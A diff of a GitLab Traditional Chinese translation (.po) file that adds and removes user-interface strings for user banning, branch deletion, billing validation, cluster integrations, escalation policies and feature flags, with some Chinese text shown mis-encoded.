msgid "AdminUsers|You are about to permanently delete the user %{username}. This will delete all of the issues, merge requests, and groups linked to them. To avoid data loss, consider using the %{strongStart}block user%{strongEnd} feature instead. Once you %{strongStart}Delete user%{strongEnd}, it cannot be undone or recovered."
msgstr ""
+msgid "AdminUsers|You ban their account in the future if necessary."
+msgstr ""
+
msgid "AdminUsers|You can always block their account again if needed."
msgstr ""
@@ -2610,6 +2668,9 @@ msgstr ""
msgid "AdminUsers|You can always unblock their account, their data will remain intact."
msgstr ""
+msgid "AdminUsers|You can unban their account in the future. Their data remains intact."
+msgstr ""
+
msgid "AdminUsers|You cannot remove your own admin rights."
msgstr ""
@@ -2655,9 +2716,6 @@ msgstr ""
msgid "Advanced Search"
msgstr ""
-msgid "Advanced Search with Elasticsearch"
-msgstr ""
-
msgid "Advanced Settings"
msgstr ""
@@ -2695,9 +2753,6 @@ msgid "Alert"
msgid_plural "Alerts"
msgstr[0] "æ示"
-msgid "Alert integrations"
-msgstr ""
-
msgid "AlertManagement|Acknowledged"
msgstr ""
@@ -3067,9 +3122,6 @@ msgstr ""
msgid "All epics"
msgstr ""
-msgid "All features are enabled for blank projects, from templates, or when importing, but you can disable them afterward in the project settings."
-msgstr "從模æ¿å»ºç«‹æˆ–導入專案時將啟用所有功能,您å¯ä»¥åœ¨å°ˆæ¡ˆè¨­ç½®ä¸­å°‡å…¶é—œé–‰ã€‚"
-
msgid "All groups and projects"
msgstr ""
@@ -3172,6 +3224,9 @@ msgstr ""
msgid "Allowed Geo IP"
msgstr ""
+msgid "Allowed characters: +, 0-9, -, and spaces."
+msgstr ""
+
msgid "Allowed email domain restriction only permitted for top-level groups"
msgstr ""
@@ -3385,6 +3440,9 @@ msgstr ""
msgid "An error occurred while fetching markdown preview"
msgstr "è®€å– markdown é è¦½æ™‚發生錯誤"
+msgid "An error occurred while fetching participants"
+msgstr ""
+
msgid "An error occurred while fetching participants."
msgstr ""
@@ -3478,9 +3536,6 @@ msgstr ""
msgid "An error occurred while loading merge requests."
msgstr ""
-msgid "An error occurred while loading project creation UI"
-msgstr ""
-
msgid "An error occurred while loading the access tokens form, please try again."
msgstr ""
@@ -3550,7 +3605,7 @@ msgstr ""
msgid "An error occurred while reordering issues."
msgstr ""
-msgid "An error occurred while requesting data from the Jira service"
+msgid "An error occurred while requesting data from the Jira service."
msgstr ""
msgid "An error occurred while retrieving calendar activity"
@@ -4019,6 +4074,9 @@ msgstr ""
msgid "Approvers"
msgstr ""
+msgid "Approvers from private group(s) not shown"
+msgstr ""
+
msgid "Apr"
msgstr "四月"
@@ -4049,16 +4107,13 @@ msgstr ""
msgid "Archived in this version"
msgstr ""
-msgid "Archived project! Repository and other project resources are read only"
-msgstr ""
-
msgid "Archived project! Repository and other project resources are read-only"
msgstr ""
msgid "Archived projects"
msgstr ""
-msgid "Archiving the project will make it entirely read only. It is hidden from the dashboard and doesn't show up in searches. %{strong_start}The repository cannot be committed to, and no issues, comments, or other entities can be created.%{strong_end} %{link_start}Learn more.%{link_end}"
+msgid "Archiving the project will make it entirely read-only. It is hidden from the dashboard and doesn't show up in searches. %{strong_start}The repository cannot be committed to, and no issues, comments, or other entities can be created.%{strong_end} %{link_start}Learn more.%{link_end}"
msgstr ""
msgid "Are you ABSOLUTELY SURE you wish to delete this project?"
@@ -4634,7 +4689,7 @@ msgstr ""
msgid "Automatic deployment rollbacks"
msgstr ""
-msgid "Automatically close incidents when the associated Prometheus alert resolves."
+msgid "Automatically close associated incident when a recovery alert notification resolves an alert"
msgstr ""
msgid "Automatically create merge requests for vulnerabilities that have fixes available."
@@ -4703,6 +4758,9 @@ msgstr ""
msgid "Background Jobs"
msgstr ""
+msgid "Background Migrations"
+msgstr ""
+
msgid "Background color"
msgstr ""
@@ -4859,6 +4917,9 @@ msgstr ""
msgid "BillingPlans|@%{user_name} you are currently using the %{plan_name}."
msgstr ""
+msgid "BillingPlans|Compare all plans"
+msgstr ""
+
msgid "BillingPlans|Congratulations, your free trial is activated."
msgstr ""
@@ -4877,6 +4938,9 @@ msgstr ""
msgid "BillingPlans|Learn more about each plan by visiting our %{pricing_page_link}."
msgstr ""
+msgid "BillingPlans|Looking to purchase or manage a subscription for your group? Navigate to your %{groups_link} and go to %{strong_open}Settings &gt; Billing.%{strong_close}"
+msgstr ""
+
msgid "BillingPlans|Manage plan"
msgstr ""
@@ -4892,6 +4956,9 @@ msgstr ""
msgid "BillingPlans|To manage the plan for this group, visit the billing section of %{parent_billing_page_link}."
msgstr ""
+msgid "BillingPlans|Upgrade to GitLab %{planNameForUpgrade}"
+msgstr ""
+
msgid "BillingPlans|While GitLab is ending availability of the Bronze plan, you can still renew your Bronze subscription one additional time before %{eoa_bronze_plan_end_date}. We are also offering a limited time free upgrade to our Premium Plan (up to 25 users)! Learn more about the changes and offers in our %{announcement_link}."
msgstr ""
@@ -4910,6 +4977,9 @@ msgstr ""
msgid "BillingPlans|frequently asked questions"
msgstr ""
+msgid "BillingPlans|group"
+msgstr ""
+
msgid "BillingPlans|monthly"
msgstr ""
@@ -4925,6 +4995,27 @@ msgstr ""
msgid "BillingPlan|Upgrade for free"
msgstr ""
+msgid "Billings|To use free pipeline minutes on shared runners, you’ll need to validate your account with a credit or debit card. If you prefer not to provide one, you can run pipelines by bringing your own runners and disabling shared runners for your project. This is required to discourage and reduce abuse on GitLab infrastructure. %{strongStart}GitLab will not charge or store your card, it will only be used for validation.%{strongEnd} %{linkStart}Learn more%{linkEnd}."
+msgstr ""
+
+msgid "Billings|To use free pipeline minutes on shared runners, you’ll need to validate your account with a credit or debit card. This is required to discourage and reduce abuse on GitLab infrastructure. %{strongStart}GitLab will not charge or store your card, it will only be used for validation.%{strongEnd}"
+msgstr ""
+
+msgid "Billings|User successfully validated"
+msgstr ""
+
+msgid "Billings|User validation required"
+msgstr ""
+
+msgid "Billings|Validate account"
+msgstr ""
+
+msgid "Billings|Validate user account"
+msgstr ""
+
+msgid "Billings|Your user account has been successfully validated. You can now use free pipeline minutes."
+msgstr ""
+
msgid "Billing|An email address is only visible for users with public emails."
msgstr ""
@@ -4937,6 +5028,9 @@ msgstr ""
msgid "Billing|An error occurred while removing a billable member"
msgstr ""
+msgid "Billing|Cannot remove user"
+msgstr ""
+
msgid "Billing|Direct memberships"
msgstr ""
@@ -4946,6 +5040,12 @@ msgstr ""
msgid "Billing|Group"
msgstr ""
+msgid "Billing|Group invite"
+msgstr ""
+
+msgid "Billing|Members who were invited via a group invitation cannot be removed. You can either remove the entire group, or ask an Owner of the invited group to remove the member."
+msgstr ""
+
msgid "Billing|No users to display."
msgstr ""
@@ -5171,6 +5271,9 @@ msgstr "æ´»èºçš„分支"
msgid "Branches|All"
msgstr "全部"
+msgid "Branches|Cancel, keep branch"
+msgstr ""
+
msgid "Branches|Cant find HEAD commit for this branch"
msgstr "找ä¸åˆ°æ­¤åˆ†æ”¯çš„ HEAD 更動。"
@@ -5183,6 +5286,9 @@ msgstr "移除所有已經åˆä½µåˆ° %{default_branch} 的分支。"
msgid "Branches|Delete branch"
msgstr "移除分支"
+msgid "Branches|Delete branch. Are you ABSOLUTELY SURE?"
+msgstr ""
+
msgid "Branches|Delete merged branches"
msgstr "移除已經åˆä½µçš„分支"
@@ -5192,6 +5298,12 @@ msgstr "移除å—ä¿è­·çš„分支"
msgid "Branches|Delete protected branch '%{branch_name}'?"
msgstr ""
+msgid "Branches|Delete protected branch. Are you ABSOLUTELY SURE?"
+msgstr ""
+
+msgid "Branches|Deleting the %{strongStart}%{branchName}%{strongEnd} branch cannot be undone. Are you sure?"
+msgstr ""
+
msgid "Branches|Deleting the '%{branch_name}' branch cannot be undone. Are you sure?"
msgstr ""
@@ -5213,12 +5325,18 @@ msgstr "找ä¸åˆ°åˆ†æ”¯"
msgid "Branches|Once you confirm and press %{delete_protected_branch}, it cannot be undone or recovered."
msgstr ""
+msgid "Branches|Once you confirm and press %{strongStart}%{buttonText},%{strongEnd} it cannot be undone or recovered."
+msgstr ""
+
msgid "Branches|Only a project maintainer or owner can delete a protected branch"
msgstr ""
msgid "Branches|Overview"
msgstr ""
+msgid "Branches|Please type the following to confirm:"
+msgstr ""
+
msgid "Branches|Protected branches can be managed in %{project_settings_link}."
msgstr ""
@@ -5252,6 +5370,9 @@ msgstr ""
msgid "Branches|The default branch cannot be deleted"
msgstr ""
+msgid "Branches|This branch hasn’t been merged into %{defaultBranchName}. To avoid data loss, consider merging this branch before deleting it."
+msgstr ""
+
msgid "Branches|This branch hasn’t been merged into %{default_branch}."
msgstr ""
@@ -5264,6 +5385,18 @@ msgstr ""
msgid "Branches|To discard the local changes and overwrite the branch with the upstream version, delete it here and choose 'Update Now' above."
msgstr ""
+msgid "Branches|Yes, delete branch"
+msgstr ""
+
+msgid "Branches|Yes, delete protected branch"
+msgstr ""
+
+msgid "Branches|You're about to permanently delete the branch %{strongStart}%{branchName}.%{strongEnd}"
+msgstr ""
+
+msgid "Branches|You're about to permanently delete the protected branch %{strongStart}%{branchName}.%{strongEnd}"
+msgstr ""
+
msgid "Branches|You’re about to permanently delete the protected branch %{branch_name}."
msgstr ""
@@ -5333,6 +5466,9 @@ msgstr ""
msgid "BulkImport|From source group"
msgstr ""
+msgid "BulkImport|Import %{groups}"
+msgstr ""
+
msgid "BulkImport|Import failed: Destination cannot be a subgroup of the source group. Change the destination and try again."
msgstr ""
@@ -5345,9 +5481,15 @@ msgstr ""
msgid "BulkImport|Name already exists."
msgstr ""
+msgid "BulkImport|No groups on this page are available for import"
+msgstr ""
+
msgid "BulkImport|No parent"
msgstr ""
+msgid "BulkImport|One or more groups has validation errors"
+msgstr ""
+
msgid "BulkImport|Showing %{start}-%{end} of %{total}"
msgstr ""
@@ -5414,9 +5556,6 @@ msgstr ""
msgid "By authenticating with an account tied to an Enterprise e-mail address, it is understood that this account is an Enterprise User. "
msgstr ""
-msgid "By clicking Register, I agree that I have read and accepted the %{company_name} %{linkStart}Terms of Use and Privacy Policy%{linkEnd}"
-msgstr ""
-
msgid "By default GitLab sends emails in HTML and plain text formats so mail clients can choose what format to use. Disable this option if you only want to send emails in plain text format."
msgstr ""
@@ -5465,15 +5604,15 @@ msgstr ""
msgid "CI/CD configuration file"
msgstr ""
-msgid "CI/CD for external repo"
-msgstr ""
-
msgid "CICDAnalytics|%{percent}%{percentSymbol}"
msgstr ""
msgid "CICDAnalytics|All time"
msgstr ""
+msgid "CICDAnalytics|Deployment frequency"
+msgstr ""
+
msgid "CICDAnalytics|Projects with releases"
msgstr ""
@@ -5481,6 +5620,9 @@ msgid "CICDAnalytics|Release"
msgid_plural "CICDAnalytics|Releases"
msgstr[0] ""
+msgid "CICDAnalytics|Release statistics"
+msgstr ""
+
msgid "CICDAnalytics|Releases"
msgstr ""
@@ -6174,7 +6316,7 @@ msgstr ""
msgid "Choose File..."
msgstr ""
-msgid "Choose a branch/tag (e.g. %{master}) or enter a commit (e.g. %{sha}) to see what's changed or to create a merge request."
+msgid "Choose a branch/tag (e.g. %{branch}) or enter a commit (e.g. %{sha}) to see what's changed or to create a merge request."
msgstr ""
msgid "Choose a file"
@@ -6558,72 +6700,6 @@ msgstr ""
msgid "Cloud licenses can not be removed."
msgstr ""
-msgid "CloudLicense|Activate"
-msgstr ""
-
-msgid "CloudLicense|Activate subscription"
-msgstr ""
-
-msgid "CloudLicense|Activation code"
-msgstr ""
-
-msgid "CloudLicense|Billable users"
-msgstr ""
-
-msgid "CloudLicense|Buy subscription"
-msgstr ""
-
-msgid "CloudLicense|Free trial"
-msgstr ""
-
-msgid "CloudLicense|Get help for the most common connectivity issues by %{linkStart}troubleshooting the activation code%{linkEnd}."
-msgstr ""
-
-msgid "CloudLicense|I agree that my use of the GitLab Software is subject to the Subscription Agreement located at the %{linkStart}Terms of Service%{linkEnd}, unless otherwise agreed to in writing with GitLab."
-msgstr ""
-
-msgid "CloudLicense|Learn how to %{linkStart}activate your subscription%{linkEnd}."
-msgstr ""
-
-msgid "CloudLicense|Maximum users"
-msgstr ""
-
-msgid "CloudLicense|Paste your activation code"
-msgstr ""
-
-msgid "CloudLicense|Ready to get started? A GitLab plan is ideal for scaling organizations and for multi team usage."
-msgstr ""
-
-msgid "CloudLicense|Start free trial"
-msgstr ""
-
-msgid "CloudLicense|Subscription"
-msgstr ""
-
-msgid "CloudLicense|This is the highest peak of users on your installation since the license started."
-msgstr ""
-
-msgid "CloudLicense|This is the number of %{billableUsersLinkStart}billable users%{billableUsersLinkEnd} on your installation, and this is the minimum number you need to purchase when you renew your license."
-msgstr ""
-
-msgid "CloudLicense|To activate your subscription, connect to GitLab servers through the %{linkStart}Cloud Sync service%{linkEnd}, a hassle-free way to manage your subscription."
-msgstr ""
-
-msgid "CloudLicense|Users in subscription"
-msgstr ""
-
-msgid "CloudLicense|Users over subscription"
-msgstr ""
-
-msgid "CloudLicense|Users with a Guest role or those who don't belong to a Project or Group will not use a seat from your license."
-msgstr ""
-
-msgid "CloudLicense|You can start a free trial of GitLab Ultimate without any obligation or payment details."
-msgstr ""
-
-msgid "CloudLicense|You'll be charged for %{trueUpLinkStart}users over license%{trueUpLinkEnd} on a quarterly or annual basis, depending on the terms of your agreement."
-msgstr ""
-
msgid "Cluster"
msgstr ""
@@ -6786,6 +6862,12 @@ msgstr ""
msgid "ClusterIntegration|Allow GitLab to manage namespaces and service accounts for this cluster."
msgstr ""
+msgid "ClusterIntegration|Allows GitLab to query a specifically configured in-cluster Elasticsearch for pod logs."
+msgstr ""
+
+msgid "ClusterIntegration|Allows GitLab to query a specifically configured in-cluster Prometheus for metrics."
+msgstr ""
+
msgid "ClusterIntegration|Alternatively, "
msgstr ""
@@ -6828,12 +6910,6 @@ msgstr ""
msgid "ClusterIntegration|Base domain"
msgstr ""
-msgid "ClusterIntegration|Before you enable this integration, follow the %{link_start}documented process%{link_end}."
-msgstr ""
-
-msgid "ClusterIntegration|Blocking mode"
-msgstr ""
-
msgid "ClusterIntegration|CA Certificate"
msgstr ""
@@ -6996,6 +7072,9 @@ msgstr ""
msgid "ClusterIntegration|Enable Cloud Run for Anthos"
msgstr ""
+msgid "ClusterIntegration|Enable Elastic Stack integration"
+msgstr ""
+
msgid "ClusterIntegration|Enable Prometheus integration"
msgstr ""
@@ -7080,9 +7159,6 @@ msgstr ""
msgid "ClusterIntegration|GitLab-managed cluster"
msgstr ""
-msgid "ClusterIntegration|Global default"
-msgstr ""
-
msgid "ClusterIntegration|Google Cloud Platform project"
msgstr ""
@@ -7143,7 +7219,7 @@ msgstr ""
msgid "ClusterIntegration|Integration enabled"
msgstr ""
-msgid "ClusterIntegration|Integrations enable you to integrate your cluster as part of your GitLab workflow."
+msgid "ClusterIntegration|Integrations allow you to use applications installed in your cluster as part of your GitLab workflow."
msgstr ""
msgid "ClusterIntegration|Issuer Email"
@@ -7239,9 +7315,6 @@ msgstr ""
msgid "ClusterIntegration|Loading subnetworks"
msgstr ""
-msgid "ClusterIntegration|Logging mode"
-msgstr ""
-
msgid "ClusterIntegration|Machine type"
msgstr ""
@@ -7254,9 +7327,6 @@ msgstr ""
msgid "ClusterIntegration|Manage your Kubernetes cluster by visiting %{provider_link}"
msgstr ""
-msgid "ClusterIntegration|ModSecurity enabled"
-msgstr ""
-
msgid "ClusterIntegration|Namespace per environment"
msgstr ""
@@ -7353,9 +7423,6 @@ msgstr ""
msgid "ClusterIntegration|Read our %{link_start}help page%{link_end} on Kubernetes cluster integration."
msgstr ""
-msgid "ClusterIntegration|Real-time web application monitoring, logging and access control. %{linkStart}More information%{linkEnd}"
-msgstr ""
-
msgid "ClusterIntegration|Remove Kubernetes cluster integration"
msgstr ""
@@ -7494,9 +7561,6 @@ msgstr ""
msgid "ClusterIntegration|Send Container Network Policies Logs"
msgstr ""
-msgid "ClusterIntegration|Send Web Application Firewall Logs"
-msgstr ""
-
msgid "ClusterIntegration|Service Token"
msgstr ""
@@ -7509,9 +7573,6 @@ msgstr ""
msgid "ClusterIntegration|Set a prefix for your namespaces. If not set, defaults to your project path. If modified, existing environments will use their current namespaces until the cluster cache is cleared."
msgstr ""
-msgid "ClusterIntegration|Set the global mode for the WAF in this cluster. This can be overridden at the environmental level."
-msgstr ""
-
msgid "ClusterIntegration|Something went wrong on our end."
msgstr ""
@@ -7785,6 +7846,15 @@ msgstr ""
msgid "CodeOwner|Pattern"
msgstr ""
+msgid "CodeQuality|Code quality"
+msgstr ""
+
+msgid "CodeQuality|New code quality degradations in this file"
+msgstr ""
+
+msgid "CodeQuality|Some changes in this file degrade the code quality."
+msgstr ""
+
msgid "Cohorts|Inactive users"
msgstr ""
@@ -7927,6 +7997,9 @@ msgstr "æ交"
msgid "CommitMessage|Add %{file_name}"
msgstr "添加 %{file_name}"
+msgid "CommitMessage|Add %{file_name} and create a code quality job"
+msgstr ""
+
msgid "CommitWidget|authored"
msgstr ""
@@ -8065,9 +8138,6 @@ msgstr ""
msgid "Compliance framework"
msgstr ""
-msgid "Compliance framework (optional)"
-msgstr ""
-
msgid "Compliance framework (optional)"
msgstr ""
@@ -8188,6 +8258,9 @@ msgstr "隱密的"
msgid "Configuration"
msgstr ""
+msgid "Configuration help"
+msgstr ""
+
msgid "Configure GitLab runners to start using the Web Terminal. %{helpStart}Learn more.%{helpEnd}"
msgstr ""
@@ -8251,6 +8324,9 @@ msgstr ""
msgid "Configure repository mirroring."
msgstr ""
+msgid "Configure settings for Advanced Search with Elasticsearch."
+msgstr ""
+
msgid "Configure specific limits for Packages API requests that supersede the general user and IP rate limits."
msgstr ""
@@ -8406,6 +8482,9 @@ msgstr ""
msgid "ContainerRegistry|%{title} was successfully scheduled for deletion"
msgstr ""
+msgid "ContainerRegistry|-- tags"
+msgstr ""
+
msgid "ContainerRegistry|Build an image"
msgstr ""
@@ -9085,9 +9164,6 @@ msgstr ""
msgid "Create Project"
msgstr ""
-msgid "Create Value Stream"
-msgstr ""
-
msgid "Create a GitLab account first, and then connect it to your %{label} account."
msgstr ""
@@ -9118,9 +9194,6 @@ msgstr ""
msgid "Create a personal access token on your account to pull or push via %{protocol}."
msgstr "在帳戶上創建個人訪å•ä»¤ç‰Œï¼Œä»¥é€šéŽ %{protocol} 來拉å–或推é€ã€‚"
-msgid "Create a project pre-populated with the necessary files to get you started quickly."
-msgstr ""
-
msgid "Create an account using:"
msgstr ""
@@ -9172,6 +9245,9 @@ msgstr ""
msgid "Create group label"
msgstr "建立群組標籤"
+msgid "Create incident"
+msgstr ""
+
msgid "Create issue"
msgstr ""
@@ -9223,6 +9299,9 @@ msgstr ""
msgid "Create new label"
msgstr "建立新標籤"
+msgid "Create new project"
+msgstr ""
+
msgid "Create new..."
msgstr "創建..."
@@ -9256,6 +9335,9 @@ msgstr ""
msgid "Create your group"
msgstr ""
+msgid "Create your own profile to collaborate with your teammates in issues, merge requests, and more."
+msgstr ""
+
msgid "Create/import your first project"
msgstr ""
@@ -9583,27 +9665,6 @@ msgstr ""
msgid "Custom range (UTC)"
msgstr ""
-msgid "CustomCycleAnalytics|Add a stage"
-msgstr ""
-
-msgid "CustomCycleAnalytics|Add stage"
-msgstr ""
-
-msgid "CustomCycleAnalytics|Editing stage"
-msgstr ""
-
-msgid "CustomCycleAnalytics|End event label"
-msgstr ""
-
-msgid "CustomCycleAnalytics|New stage"
-msgstr ""
-
-msgid "CustomCycleAnalytics|Stage name already exists"
-msgstr ""
-
-msgid "CustomCycleAnalytics|Start event label"
-msgstr ""
-
msgid "Customer Portal"
msgstr ""
@@ -9822,9 +9883,15 @@ msgstr ""
msgid "DAG visualization requires at least 3 dependent jobs."
msgstr ""
+msgid "DAST Configuration"
+msgstr ""
+
msgid "DAST Scans"
msgstr ""
+msgid "DAST Settings"
+msgstr ""
+
msgid "DNS"
msgstr ""
@@ -10044,9 +10111,6 @@ msgstr ""
msgid "DastProfiles|Password form field"
msgstr ""
-msgid "DastProfiles|Please enter a valid timeout value"
-msgstr ""
-
msgid "DastProfiles|Profile name"
msgstr ""
@@ -10411,6 +10475,9 @@ msgstr ""
msgid "Delete Comment"
msgstr ""
+msgid "Delete Key"
+msgstr ""
+
msgid "Delete Value Stream"
msgstr ""
@@ -11120,22 +11187,28 @@ msgstr ""
msgid "DevopsAdoption|Are you sure that you would like to remove %{name} from the table?"
msgstr ""
-msgid "DevopsAdoption|At least 1 MR opened"
+msgid "DevopsAdoption|At least one MR opened"
+msgstr ""
+
+msgid "DevopsAdoption|At least one approval on an MR"
+msgstr ""
+
+msgid "DevopsAdoption|At least one deploy"
msgstr ""
-msgid "DevopsAdoption|At least 1 approval on an MR"
+msgid "DevopsAdoption|At least one issue opened"
msgstr ""
-msgid "DevopsAdoption|At least 1 deploy"
+msgid "DevopsAdoption|At least one pipeline successfully run"
msgstr ""
-msgid "DevopsAdoption|At least 1 issue opened"
+msgid "DevopsAdoption|At least one security scan of any type run in pipeline"
msgstr ""
-msgid "DevopsAdoption|At least 1 pipeline successfully run"
+msgid "DevopsAdoption|Code owners"
msgstr ""
-msgid "DevopsAdoption|At least 1 security scan of any type run in pipeline"
+msgid "DevopsAdoption|Code owners enabled for at least one project"
msgstr ""
msgid "DevopsAdoption|Confirm remove Group"
@@ -11144,6 +11217,9 @@ msgstr ""
msgid "DevopsAdoption|Deploys"
msgstr ""
+msgid "DevopsAdoption|Dev"
+msgstr ""
+
msgid "DevopsAdoption|DevOps adoption tracks the use of key features across your favorite groups. Add a group to the table to begin."
msgstr ""
@@ -11171,6 +11247,9 @@ msgstr ""
msgid "DevopsAdoption|Not adopted"
msgstr ""
+msgid "DevopsAdoption|Ops"
+msgstr ""
+
msgid "DevopsAdoption|Pipelines"
msgstr ""
@@ -11192,6 +11271,9 @@ msgstr ""
msgid "DevopsAdoption|Scanning"
msgstr ""
+msgid "DevopsAdoption|Sec"
+msgstr ""
+
msgid "DevopsAdoption|There was an error enabling the current group. Please refresh the page."
msgstr ""
@@ -11204,21 +11286,33 @@ msgstr ""
msgid "DevopsAdoption|You cannot remove the group you are currently in."
msgstr ""
-msgid "DevopsReport|Adoption"
+msgid "DevopsReport|DevOps Score"
+msgstr ""
+
+msgid "DevopsReport|DevOps score metrics are based on usage over the last 30 days. Last updated: %{timestamp}."
msgstr ""
-msgid "DevopsReport|DevOps"
+msgid "DevopsReport|High"
msgstr ""
-msgid "DevopsReport|DevOps Score"
+msgid "DevopsReport|Leader usage"
msgstr ""
-msgid "DevopsReport|DevOps score metrics are based on usage over the last 30 days. Last updated: %{timestamp}."
+msgid "DevopsReport|Low"
+msgstr ""
+
+msgid "DevopsReport|Moderate"
msgstr ""
msgid "DevopsReport|Score"
msgstr ""
+msgid "DevopsReport|Your score"
+msgstr ""
+
+msgid "DevopsReport|Your usage"
+msgstr ""
+
msgid "Didn't receive a confirmation email?"
msgstr ""
@@ -11285,15 +11379,15 @@ msgstr ""
msgid "Disable public access to Pages sites"
msgstr ""
-msgid "Disable shared runners"
-msgstr ""
-
msgid "Disable two-factor authentication"
msgstr ""
msgid "Disabled"
msgstr ""
+msgid "Disabled by %{parent} owner"
+msgstr ""
+
msgid "Disabled mirrors can only be enabled by instance owners. It is recommended that you delete them."
msgstr ""
@@ -11321,6 +11415,9 @@ msgstr ""
msgid "DiscordService|Send notifications about project events to a Discord channel."
msgstr ""
+msgid "Discover"
+msgstr ""
+
msgid "Discover GitLab Geo"
msgstr ""
@@ -11547,7 +11644,7 @@ msgstr ""
msgid "Draft merge requests can't be merged."
msgstr ""
-msgid "Drop or %{linkStart}upload%{linkEnd} designs to attach"
+msgid "Drag your designs here or %{linkStart}click to upload%{linkEnd}."
msgstr ""
msgid "Drop or %{linkStart}upload%{linkEnd} file to attach"
@@ -11562,6 +11659,24 @@ msgstr ""
msgid "Drop your files to start your upload."
msgstr ""
+msgid "DropdownWidget|An error occurred while fetching the assigned %{issuableAttribute} of the selected %{issuableType}."
+msgstr ""
+
+msgid "DropdownWidget|Assign %{issuableAttribute}"
+msgstr ""
+
+msgid "DropdownWidget|Failed to fetch the %{issuableAttribute} for this %{issuableType}. Please try again."
+msgstr ""
+
+msgid "DropdownWidget|Failed to set %{issuableAttribute} on this %{issuableType}. Please try again."
+msgstr ""
+
+msgid "DropdownWidget|No %{issuableAttribute}"
+msgstr ""
+
+msgid "DropdownWidget|No %{issuableAttribute} found"
+msgstr ""
+
msgid "Due Date"
msgstr ""
@@ -11571,9 +11686,6 @@ msgstr "截止日期"
msgid "Duration"
msgstr ""
-msgid "Duration for the last 30 commits"
-msgstr ""
-
msgid "During this process, you’ll be asked for URLs from GitLab’s side. Use the URLs shown below."
msgstr ""
@@ -11688,9 +11800,6 @@ msgstr ""
msgid "Edit sidebar"
msgstr ""
-msgid "Edit stage"
-msgstr ""
-
msgid "Edit this file only."
msgstr ""
@@ -11745,6 +11854,9 @@ msgstr ""
msgid "Elasticsearch reindexing triggered"
msgstr ""
+msgid "Elasticsearch reindexing was not started: %{errors}"
+msgstr ""
+
msgid "Elasticsearch returned status code: %{status_code}"
msgstr ""
@@ -11874,13 +11986,13 @@ msgstr ""
msgid "Embed"
msgstr ""
-msgid "Empty file"
+msgid "Embed an image of your existing Jaeger server in GitLab."
msgstr ""
-msgid "Enable"
+msgid "Empty file"
msgstr ""
-msgid "Enable %{linkStart}Gitpod%{linkEnd} integration to launch a development environment in your browser directly from GitLab."
+msgid "Enable"
msgstr ""
msgid "Enable Auto DevOps"
@@ -11958,6 +12070,9 @@ msgstr ""
msgid "Enable authenticated API request rate limit"
msgstr ""
+msgid "Enable authentication"
+msgstr ""
+
msgid "Enable automatic repository housekeeping (git repack, git gc)"
msgstr ""
@@ -12003,9 +12118,6 @@ msgstr ""
msgid "Enable or disable Seat Link."
msgstr ""
-msgid "Enable or disable keyboard shortcuts"
-msgstr ""
-
msgid "Enable or disable the Pseudonymizer data collection."
msgstr ""
@@ -12027,9 +12139,6 @@ msgstr ""
msgid "Enable reCAPTCHA, Invisible Captcha, Akismet and set IP limits. For reCAPTCHA, we currently only support %{recaptcha_v2_link_start}v2%{recaptcha_v2_link_end}"
msgstr ""
-msgid "Enable shared runners"
-msgstr ""
-
msgid "Enable shared runners for all projects and subgroups in this group."
msgstr ""
@@ -12699,9 +12808,6 @@ msgstr ""
msgid "Error occurred when saving reviewers"
msgstr ""
-msgid "Error occurred when toggling the notification subscription"
-msgstr ""
-
msgid "Error occurred while updating the issue status"
msgstr ""
@@ -12714,12 +12820,18 @@ msgstr ""
msgid "Error occurred. A blocked user must be unblocked to be activated"
msgstr ""
+msgid "Error occurred. User was not banned"
+msgstr ""
+
msgid "Error occurred. User was not blocked"
msgstr ""
msgid "Error occurred. User was not confirmed"
msgstr ""
+msgid "Error occurred. User was not unbanned"
+msgstr ""
+
msgid "Error occurred. User was not unblocked"
msgstr ""
@@ -12828,6 +12940,54 @@ msgstr ""
msgid "Errors:"
msgstr ""
+msgid "Escalation Policies"
+msgstr ""
+
+msgid "Escalation policies"
+msgstr ""
+
+msgid "Escalation policies are not supported for this project"
+msgstr ""
+
+msgid "EscalationPolicies|+ Add an additional rule"
+msgstr ""
+
+msgid "EscalationPolicies|A schedule is required for adding an escalation policy."
+msgstr ""
+
+msgid "EscalationPolicies|Add an escalation policy"
+msgstr ""
+
+msgid "EscalationPolicies|Add escalation policy"
+msgstr ""
+
+msgid "EscalationPolicies|Create an escalation policy in GitLab"
+msgstr ""
+
+msgid "EscalationPolicies|Edit escalation policy"
+msgstr ""
+
+msgid "EscalationPolicies|Email on-call user in schedule"
+msgstr ""
+
+msgid "EscalationPolicies|Escalation rules"
+msgstr ""
+
+msgid "EscalationPolicies|Failed to load oncall-schedules"
+msgstr ""
+
+msgid "EscalationPolicies|IF alert is not %{alertStatus} in %{minutes} minutes"
+msgstr ""
+
+msgid "EscalationPolicies|Select schedule"
+msgstr ""
+
+msgid "EscalationPolicies|Set up escalation policies to define who is paged, and when, in the event the first users paged don't respond."
+msgstr ""
+
+msgid "EscalationPolicies|THEN %{doAction} %{schedule}"
+msgstr ""
+
msgid "Estimate"
msgstr ""
@@ -12889,7 +13049,8 @@ msgid "Every two weeks"
msgstr ""
msgid "Every week"
-msgstr ""
+msgid_plural "Every %d weeks"
+msgstr[0] ""
msgid "Every week (%{weekday} at %{time})"
msgstr ""
@@ -13531,6 +13692,9 @@ msgstr ""
msgid "FeatureFlags|Feature Flag User List Details"
msgstr ""
+msgid "FeatureFlags|Feature Flag User Lists"
+msgstr ""
+
msgid "FeatureFlags|Feature Flag behavior is built up by creating a set of rules to define the status of target environments. A default wildcard rule %{codeStart}*%{codeEnd} for %{boldStart}All Environments%{boldEnd} is set, and you are able to add as many rules as you need by choosing environment specs below. You can toggle the behavior for each of your rules to set them %{boldStart}Active%{boldEnd} or %{boldStart}Inactive%{boldEnd}."
msgstr ""
@@ -13555,9 +13719,6 @@ msgstr ""
msgid "FeatureFlags|Get started with feature flags"
msgstr ""
-msgid "FeatureFlags|Get started with user lists"
-msgstr ""
-
msgid "FeatureFlags|GitLab is moving to a new way of managing feature flags. This feature flag is read-only, and it will be removed in 14.0. Please create a new feature flag."
msgstr ""
@@ -13585,9 +13746,6 @@ msgstr ""
msgid "FeatureFlags|Loading feature flags"
msgstr ""
-msgid "FeatureFlags|Loading user lists"
-msgstr ""
-
msgid "FeatureFlags|More information"
msgstr ""
@@ -13606,9 +13764,6 @@ msgstr ""
msgid "FeatureFlags|New feature flag"
msgstr ""
-msgid "FeatureFlags|New user list"
-msgstr ""
-
msgid "FeatureFlags|No user list selected"
msgstr ""
@@ -13651,9 +13806,6 @@ msgstr ""
msgid "FeatureFlags|There was an error fetching the feature flags."
msgstr ""
-msgid "FeatureFlags|There was an error fetching the user lists."
-msgstr ""
-
